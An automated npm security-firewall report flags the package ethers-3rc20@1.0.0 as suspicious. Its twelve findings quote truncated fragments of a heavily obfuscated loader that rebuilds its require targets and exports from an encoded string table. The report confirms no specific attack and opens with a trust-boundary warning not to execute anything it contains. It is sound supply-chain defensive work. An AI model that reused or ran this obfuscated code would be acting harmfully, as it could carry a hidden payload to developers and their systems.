---
canonical: "https://firewall.lpm.dev/npm/ethers-3rc20/v/1.0.0"
markdown: "https://firewall.lpm.dev/npm/ethers-3rc20/v/1.0.0.md"
package: "ethers-3rc20"
report_status: "published"
title: "ethers-3rc20@1.0.0 npm security report"
verdict: "suspicious"
version: "1.0.0"
---

# ethers-3rc20@1.0.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Flagged — allowed with a warning** — Allowed by default policy, but 12 finding(s) warrant review before installing.

- **Verdict:** Suspicious
- **Product-default install policy:** Warn
- **Firewall policy:** Matched warn-list
- **Public report status:** Published
- **Threat category:** Unknown
- **Selected version:** 1.0.0
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: suspicious; recommendation: downgrade to warn. This assessment is supporting evidence; the published decision above determines the current policy.

The package has no install hook, and the inspected source does not prove a concrete attack. Its heavily obfuscated runtime loader and exports prevent a reliable benign assessment, so a warning is appropriate.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Suspicious
- **Recorded analysis confidence:** 78.0%
- **Started:** 2026-10-23T23:11:01.142Z
- **Finished:** 2026-10-23T23:11:49.618Z
- **Download time:** 1034 ms
- **Static scan time:** 66 ms
- **AI review time:** 47376 ms
- **Total time:** 48476 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The package’s runtime entrypoint leads into heavily obfuscated code whose behavior remains unresolved.

- **Trigger:** Importing the package through its declared main entrypoint.

- **Impact:** Consumers cannot readily assess whether importing or calling the exports causes hidden side effects; no specific attack was confirmed.

- **Evidence paths:** main-ethers.js, ethers3.js

- **Review source:** ai\_review

- **Reviewed:** 2026-10-23T23:11:49.618Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The entrypoint builds a dynamic require target from encoded fragments, and the loaded source encodes its strings and exported function names.

- **Rationale:** The package has no install hook, and the inspected source does not prove a concrete attack. Its heavily obfuscated runtime loader and exports prevent a reliable benign assessment, so a warning is appropriate.

- **Files touched:** package.json, main-ethers.js, ethers3.js

### Review decision

- **Verdict:** Suspicious

- **Confidence:** 78.0%

- **Recommended action:** downgrade\_to\_warn

- **Intent class:** Unknown

- **False-positive risk:** Medium

- **Evidence for warning:** The package entrypoint dynamically requires a target assembled from encoded fragments, and the main source uses a large obfuscated string table., The main source imports database helpers and exports many functions through encoded names, leaving its runtime behavior difficult to assess., The package has no install, preinstall, or postinstall hook; its declared dependency is mysql2.

- **Evidence against:** The inspected source does not establish credential theft, destructive behavior, or remote code execution., The manifest contains no install lifecycle hook.

## Affected versions and remediation

This report applies to ethers-3rc20@1.0.0.

- Review the evidence and your use of ethers-3rc20@1.0.0 before allowing it. Restrict the permissions described in this report.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Medium: Dynamic Require
- **Category:** Source
- **Confidence:** 75.0%
- **Path:** ethers3.js
- **Public source:** [View source](<https://unpkg.com/ethers-3rc20@1.0.0/ethers3.js>)

Package source references dynamic require/import behavior.

Public source snippet (untrusted):

```javascript
L1: const a0_0x4abad2=a0_0x3f2e;(function(_0x4f06c8,_0x5a923f){const a0_0x1ac22a={_0x22b854:0x257,_0x4531d1:0x44b,_0x2afb62:0x434,_0x3e5856:0x26d,_0xd8087e:0x173,_0x35c36f:0x259},_0x1e...
```

### 3. High: Obfuscated Payload Loader
- **Category:** Source
- **Confidence:** 86.0%
- **Path:** ethers3.js
- **Public source:** [View source](<https://unpkg.com/ethers-3rc20@1.0.0/ethers3.js>)

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

Public source snippet (untrusted):

```javascript
L1: const a0_0x4abad2=a0_0x3f2e;(function(_0x4f06c8,_0x5a923f){const a0_0x1ac22a={_0x22b854:0x257,_0x4531d1:0x44b,_0x2afb62:0x434,_0x3e5856:0x26d,_0xd8087e:0x173,_0x35c36f:0x259},_0x1e...
```

### 4. High: Obfuscated
- **Category:** Supply Chain
- **Confidence:** 100.0%

Package source appears deliberately obfuscated.

### 5. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 6. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 7. Medium: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 78.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/ethers-3rc20@1.0.0/package.json>)

The package has no install, preinstall, or postinstall hook; its declared dependency is mysql2.

Public source snippet (untrusted):

```json
{
  "name": "ethers-3rc20",
  "version": "1.0.0",
  "description": "Herramienta para interactuar con contratos ERC20 usando Web3 y Ethers.",
  "main": "main-ethers.js",
  "type": "commonjs",
  "files": [
    "bethers.js",
    "ethers3.js",
    "main-ethers3.js",
    "package.json",
    "README.md"
  ],
  "keywords": [
    "blockchain",
    "ethers3-erc20",
    "ethers-erc20",
    "ethereum-erc20"
  ],
  "license": "MIT",
  "dependencies": {
    "mysql2": "^3.9.1"
  },
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  }
}
```

### 8. Medium: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 78.0%
- **Path:** main-ethers.js
- **Public source:** [View source](<https://unpkg.com/ethers-3rc20@1.0.0/main-ethers.js>)

The package entrypoint dynamically requires a target assembled from encoded fragments, and the main source uses a large obfuscated string table.

Public source snippet (untrusted):

```javascript
6f9c._0x39f212))/0xb;if(_0x4bcfa2===_0x5a7002)break;else _0x57398e['push'](_0x57398e['shift']());}catch(_0x4d2dda){_0x57398e['push'](_0x57398e['shift']());}}}(a0_0x4762,0x1d7b6),module[a0_0x203248(0x159)+'ts']=require(a0_0x203248(0x163)+a0_
```

### 9. Medium: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 78.0%
- **Path:** ethers3.js
- **Public source:** [View source](<https://unpkg.com/ethers-3rc20@1.0.0/ethers3.js>)

The package entrypoint dynamically requires a target assembled from encoded fragments, and the main source uses a large obfuscated string table.

Public source snippet (untrusted):

```javascript
const a0_0x4abad2=a0_0x3f2e;(function(_0x4f06c8,_0x5a923f){const a0_0x1ac22a={_0x22b854:0x257,_0x4531d1:0x44b,_0x2afb62:0x434,_0x3e5856:0x26d,_0xd8087e:0x173,_0x35c36f:0x259},_0x1e1071=a0_0x3f2e,_0x4ae66b=_0x4f06c8();while(!![]){try{const _0x1ae6a7=parseInt(_0x1e1071(a0_0x1ac22a._0x22b854))/0x1*(-parseInt(_0x1e1071(0x34e))/0x2)+parseInt(_0x1e1071(0x186))/0x3*(parseInt(_0x1e1071(a0_0x1ac22a._0x4531d1))/0x4)+parseInt(_0x1e1071(0x105))/0x5+parseInt(_0x1e1071(a0_0x1ac22a._0x2afb62))/0x6+parseInt(_0x1e1071(a0_0x1ac22a._0x3e5856))/0x7+-parseInt(_0x1e1071(a0_0x1ac22a._0xd8087e))/0x8+-parseInt(_0x1e10
```

### 10. Medium: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 78.0%
- **Path:** ethers3.js
- **Public source:** [View source](<https://unpkg.com/ethers-3rc20@1.0.0/ethers3.js>)

The main source imports database helpers and exports many functions through encoded names, leaving its runtime behavior difficult to assess.

Public source snippet (untrusted):

```javascript
(0x29b)+a0_0x4abad2(0x12e)]=a0_0x674611,a0_0x4465b[a0_0x4abad2(0x1b9)+a0_0x4abad2(0x14c)+'nt']=a0_0x45692e,a0_0x4465b[a0_0x4abad2(0x340)+a0_0x4abad2(0x28c)+'t']=a0_0x5d24fb,a0_0x4465b[a0_0x4abad2(0x206)+a0_0x4abad2(0x293)+a0_0x4abad2(0x1a9)]=a0_0x5a1c81,a0_0x4465b[a0_0x4abad2(0x206)+a0_0x4abad2(0x2dd)+a0_0x4abad2(0x267)]=a0_0x4e26a3,a0_0x4465b[a0_0x4abad2(0x206)+a0_0x4abad2(0x293)+a0_0x4abad2(0x3f1)+a0_0x4abad2(0x42f)+a0_0x4abad2(0x377)]=a0_0x2a715b,a0_0x4465b[a0_0x4abad2(0xf4)+a0_0x4abad2(0x350)+a0_0x4abad2(0x388)]=a0_0x32818d,a0_0x4465b[a0_0x4abad2(0x333)+a0_0x4abad2(0x363)]=a0_0x5d88f7,modu
```

### 11. Medium: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 78.0%
- **Path:** .lpm-dependency-evidence-2fc14149-8e93-438e-93b6-1c7702d68a75/0/npm-linux/package.json
- **Public source:** [View source](<https://unpkg.com/ethers-3rc20@1.0.0/.lpm-dependency-evidence-2fc14149-8e93-438e-93b6-1c7702d68a75/0/npm-linux/package.json>)

The package has no install, preinstall, or postinstall hook; its declared dependency is mysql2.

Public source snippet (untrusted):

```json
{
  "name": "mysql2",
  "version": "3.24.6",
  "description": "fast mysql driver. Implements core protocol, prepared statements, ssl and compression in native JS",
  "main": "index.js",
  "typings": "typings/mysql/index",
  "type": "commonjs",
  "scripts": {
    "lint": "biome lint --error-on-warnings && prettier --check .",
    "lint:fix": "biome lint --write . && prettier --write .",
    "test": "poku",
    "test:bun": "bun poku",
    "test:deno": "deno run -A npm:poku",
    "test:docker:up":
```

### 12. Medium: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 78.0%
- **Path:** .lpm-dependency-evidence-2fc14149-8e93-438e-93b6-1c7702d68a75/0/npm-linux/index.js
- **Public source:** [View source](<https://unpkg.com/ethers-3rc20@1.0.0/.lpm-dependency-evidence-2fc14149-8e93-438e-93b6-1c7702d68a75/0/npm-linux/index.js>)

The package has no install, preinstall, or postinstall hook; its declared dependency is mysql2.

Public source snippet (untrusted):

```javascript
'use strict';

const SqlString = require('sql-escaper');

const ConnectionConfig = require('./lib/connection_config.js');
const parserCache = require('./lib/parsers/parser_cache.js');

const Connection = require('./lib/connection.js');

exports.createConnection = require('./lib/create_connection.js');
exports.connect = exports.createConnection;
exports.Connection = Connection;
exports.ConnectionCo
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** ethers-3rc20
- **Ecosystem:** npm
- **Version:** 1.0.0
- **License:** MIT
- **Version published:** 2026-10-23T23:07:36.695Z
- **Package first seen:** 2026-10-23T22:54:45.323Z
- **Package last seen:** 2026-10-24T23:42:00.846Z
- **Known versions:** 6
- **Latest version:** 14.0.0
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/ethers-3rc20/v/1.0.0>)
